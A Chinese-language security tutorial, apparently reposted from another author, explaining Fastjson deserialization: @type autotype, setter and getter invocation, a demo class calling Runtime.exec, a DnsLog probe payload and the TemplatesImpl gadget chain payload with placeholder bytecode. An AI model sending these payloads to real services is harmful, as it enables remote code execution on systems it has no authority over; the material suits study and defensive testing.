LOADING

首次加载会比较慢,果咩~

请打开缓存,下次打开就会很快啦

FastJson反序列化

本文抄录自FastJson反序列化漏洞复现,是Ec3o学长的文章,超级好懂❀

#概述

  Fastjson是阿里巴巴的开源 JSON 解析库,它可以解析 JSON 格式的字符串,支持将 Java Object序列化为 JSON 字符串,也可以从 JSON 字符串反序列化到 Java Object.

  Fastjson 提供了两个主要接口来分别实现对于Java Object的序列化和反序列化操作。

  • JSON.toJSONString:序列化
  • JSON.parseObject/JSON.parse:反序列化

  对于Fastjson来讲,并不是所有的Java对象都能被转为JSON,只有Java Bean格式的对象才能Fastjson被转为JSON。

#什么是JavaBean?

  JavaBean是一种特殊的 Java 类,它符合一组标准的命名和设计规则,旨在便于使用和集成在各种 Java 应用程序中,尤其是在图形化界面构建工具和框架中。JavaBean 最常用于**数据传输对象 (DTO)**,通常作为简单的容器类,用于封装和传递数据。

  一般来说我们的Java Bean要有一个无参构造函数和一些私有的成员变量,附加一些公共的gettersetter方法来访问这些属性,也可以附带一些以isType设计的bool属性方法。

  Serializable接口可选,用于实现反序列化.这样的一个Java Bean常常用于数据封装使用。

import java.io.Serializable;

public class User implements Serializable {
    private String name;
    private int age;

    // 无参构造器
    public User() {}

    // 带参构造器
    public User(String name, int age) {
        this.name = name;
        this.age = age;
    }

    // Getter方法
    public String getName() {
        return name;
    }

    // Setter方法
    public void setName(String name) {
        this.name = name;
    }

    // Getter方法
    public int getAge() {
        return age;
    }

    // Setter方法
    public void setAge(int age) {
        this.age = age;
    }

    @Override
    public String toString() {
        return "User{name='" + name + "', age=" + age + "}";
    }
}

#Fastjson中的序列化和反序列化

序列化

String text = JSON.toJSONString(obj); 

反序列化

VO vo = JSON.parse();  //解析为JSONObject类型或者JSONArray类型
VO vo = JSON.parseObject("{...}");  //JSON文本解析成JSONObject类型
VO vo = JSON.parseObject("{...}", VO.class);  //JSON文本解析成VO.class类

  JsonObjectJsonArrayFastjson内置的无害默认类,未指定解析的类以及json数组会被自动解析到该类上.对于类中private类型的属性值,Fastjson默认不会将其序列化和反序列化。

#反序列化到对应的类

  fastjson中反序列化到对应的类有两种方法,一种是在parse的时候指定要解析到的类(上例中的第三个例子),一种是通过一种叫做@type的属性来自动反序列化到@type指定的类。

package org.example;

public class CTF {
    private String flag;
    private String team;
    private int ID;

    public CTF() {
    }
    public String getFlag() {
        return flag;
    }

    public void setFlag(String flag) {
        this.flag = flag;
    }

    public String getTeam() {
        return team;
    }

    public void setTeam(String team) {
        this.team = team;
    }

    public int getID() {
        return ID;
    }

    public void setID(int ID) {
        this.ID = ID;
    }
}
package org.example;

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.serializer.SerializerFeature;
import org.example.CTF;
public class Fastjson_Test {
    public static void main(String[] args) {
        CTF ctf = new CTF();
        ctf.setTeam("Faster");
        ctf.setID(1);
        ctf.setFlag("flag{test}"); 		                                                       System.out.println(JSON.toJSONString(ctf,SerializerFeature.WriteClassName));
    }
}
// SerializerFeature用于控制序列化的细节,这里的writeClassName是用来把类名也包含在序列化后字符串中的设定。

输出:

{"@type":"org.example.CTF","flag":"flag{test}","iD":1,"team":"Faster"}

可见,Fastjson在JSON字符串中添加了一个@type字段,用于标识对象所属的类。

package org.example;

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.ParserConfig;

public class Fastjson_Test {
    public static void main(String[] args) {
        ParserConfig.getGlobalInstance().addAccept("org.example.");
        String JSON_CTF = "{\"@type\":\"org.example.CTF\",\"flag\":\"flag{test}\",\"iD\":1,\"team\":\"Faster\"}";
        System.out.println(JSON.parseObject(JSON_CTF, CTF.class));
    }
}
// 设定ParserConfig避免报autoType is not support.,也就是添加autoType白名单。

输出

org.example.CTF@7e32c033

#Fastjson反序列化流程分析

  一个bean的属性只能通过getter和setter来进行设定,我们不难猜测在反序列化的过程中会调用指定类的setter来进行属性赋值。

  修改一个我们要指定的反序列化的类的setter和getter,让它进行最直观的操作——弹计算器和任务管理器。

package org.example;

import java.io.IOException;

public class Calc {
    public String calc;

    public Calc() {
        System.out.println("调用了构造函数");
    }

    public String getCalc() throws IOException {
        System.out.println("调用了getter");
        Runtime.getRuntime().exec("calc");
        return calc;
    }

    public void setCalc(String calc) throws IOException {
        this.calc = calc;
        Runtime.getRuntime().exec("taskmgr");
        System.out.println("调用了setter");
    }
}

  事实证明在走序列化和反序列化的流程中都会调用目标类的Setter和Getter和构造函数,所以我们的目标就是找一个带有可控恶意参数的getter和setter或是构造函数来实现反序列化攻击

  阅读源码发现,FastJson在通过@type获取类之后,通过反射拿到该类所有的方法存入methods,接下来遍历methods进而获取gettersetter方法。

setter的查找方式:

  • 方法名长度大于4

  • 非静态方法

  • 返回值为void或当前类

  • 方法名以set开头

  • 参数个数为1

getter的查找方式:

  • 方法名长度大于等于4

  • 非静态方法

  • 以get开头且第4个字母为大写

  • 无传入参数

  • 返回值类型继承自Collection Map AtomicBoolean AtomicInteger AtomicLong

#DnsLog探测

  为了确定某个服务确实存在fastjson反序列化漏洞,首先应该进行试探性的探测,比如利用它来进行Dnslog探测。就直接拿final的题来试试吧:

@PostMapping({"/parse"})
    public String parseJson(@RequestBody String json) {
        Object obj = JSON.parseObject(json);
        return "Parsed: " + obj.getClass().getName();
    }

向/parse发送post,body如下:

{
  "a": {
    "@type": "java.net.Inet4Address",
    "val": "test.Your.dnslog.url"
  }
}
// 由于fastjson1.2.25及以上的版本的autotype默认为false,要套一层json来防止请求被拦

会得到响应:

Parsed: com.alibaba.fastjson.JSONObject

并且可以发现确实进行了一次DNS查询。

  InnetAddress类有一个getter方法,用于查询真实的IP地址,落到实处也就是进行了一次DNS查询,从而可以进行目标能否进行攻击的探测。

private static InetAddress[] getAddressesFromNameService(String host, InetAddress reqAddr)
    throws UnknownHostException
{
    InetAddress[] addresses = null;
    boolean success = false;
    UnknownHostException ex = null;
    if ((addresses = checkLookupTable(host)) == null) {
        try {
            for (NameService nameService : nameServices) { 
                try {
                    addresses = nameService.lookupAllHostAddr(host);
                    success = true;
                    break;
                } catch (UnknownHostException uhe) {
                    if (host.equalsIgnoreCase("localhost")) {
                        InetAddress[] local = new InetAddress[] { impl.loopbackAddress() };
                        addresses = local;
                        success = true;
                        break;
                    }
                    else {
                        addresses = unknown_array;
                        success = false;
                        ex = uhe;
                    }
                }
            }
            if (reqAddr != null && addresses.length > 1 && !addresses[0].equals(reqAddr)) {
                int i = 1;
                for (; i < addresses.length; i++) {
                    if (addresses[i].equals(reqAddr)) {
                        break;
                    }
                }
                if (i < addresses.length) {
                    InetAddress tmp, tmp2 = reqAddr;
                    for (int j = 0; j < i; j++) {
                        tmp = addresses[j];
                        addresses[j] = tmp2;
                        tmp2 = tmp;
                    }
                    addresses[i] = tmp2;
                }
            }
            cacheAddresses(host, addresses, success);

            if (!success && ex != null)
                throw ex;

        } finally {
            updateLookupTable(host);
        }
    }

    return addresses;
}

#漏洞复现

#TemplatesImpl利用链

Java 9 及后续版本的模块系统限制了对JDK内部模块的访问,因此不好进行攻击。下列代码在Java 8环境下复现

com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl 这个类中定义了一个内部类

TransletClassLoader,其中defineClass没有限制作用域,可以直接被外部调用。

static final class TransletClassLoader extends ClassLoader {
    private final Map<String,Class> _loadedExternalExtensionFunctions;

     TransletClassLoader(ClassLoader parent) {
         super(parent);
        _loadedExternalExtensionFunctions = null;
    }

    TransletClassLoader(ClassLoader parent,Map<String, Class> mapEF) {
        super(parent);
        _loadedExternalExtensionFunctions = mapEF;
    }

    public Class<?> loadClass(String name) throws ClassNotFoundException {
        Class<?> ret = null;
        // The _loadedExternalExtensionFunctions will be empty when the
        // SecurityManager is not set and the FSP is turned off
        if (_loadedExternalExtensionFunctions != null) {
            ret = _loadedExternalExtensionFunctions.get(name);
        }
        if (ret == null) {
            ret = super.loadClass(name);
        }
        return ret;
     }

    /**
     * Access to final protected superclass member from outer class.
     */
    Class defineClass(final byte[] b) {
        return defineClass(null, b, 0, b.length);
    }
}

  这个类里重写了 defineClass 方法,并且这里没有显式地声明其定义域。Java中默认情况下,如果一个方法没有显式声明作用域,其作用域为default。所以也就是说这里的 defineClass 由其父类的protected类型变成了一个default类型的方法,可以被类外部调用。

向前追溯的调用链如下:

`TemplatesImpl#getOutputProperties()` ->`TemplatesImpl#newTransformer()` ->`TemplatesImpl#getTransletInstance()` ->`TemplatesImpl#defineTransletClasses()`-> `TransletClassLoader#defineClass()`

其中getOutputProperties属于getter方法,在fastjson里会被直接调用:

{
    "@type": "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl",
    "_bytecodes": [
        "<恶意字节码>"
    ],
    "_name": "a.b",
    "_tfactory": {},
    "_outputProperties": {}
}

对于以上payload,给出以下解释:

  • 在调用TemplatesImpl利用链时,defineTransletClasses方法内部会通过_tfactory属性调用一个getExternalExtensionsMap方法,如果_tfactory属性为null则会抛出异常,无法根据_bytecodes属性的内容加载并实例化恶意类

  • getTransletInstance方法中判断if (_name == null) return null; 所以要给_name赋值(String)

  • _outputProperties:json数据在反序列化时会调用TemplatesImpl类的getOutputProperties方法触发利用链,可以理解为outputProperties属性的作用就是为了调用getOutputProperties方法。

  • 由于更改的一些TemplatesImpl私有变量没有setter方法,需要使用 Feature.SupportNonPublicField参数(在反序列化执行函数中,请看后例)。也正是因此,TemplatesImpl这条链的泛用性不强(

  • fastjson在反序列化时,如果Field类型为byte[],将会调用com.alibaba.fastjson.parser.JSONScanner#bytesValue进行base64解码,对应的,在序列化时也会进行base64编码

恶意字节码就是写一个能弹计算器的类,编译成class然后把字节流再base64一下导出来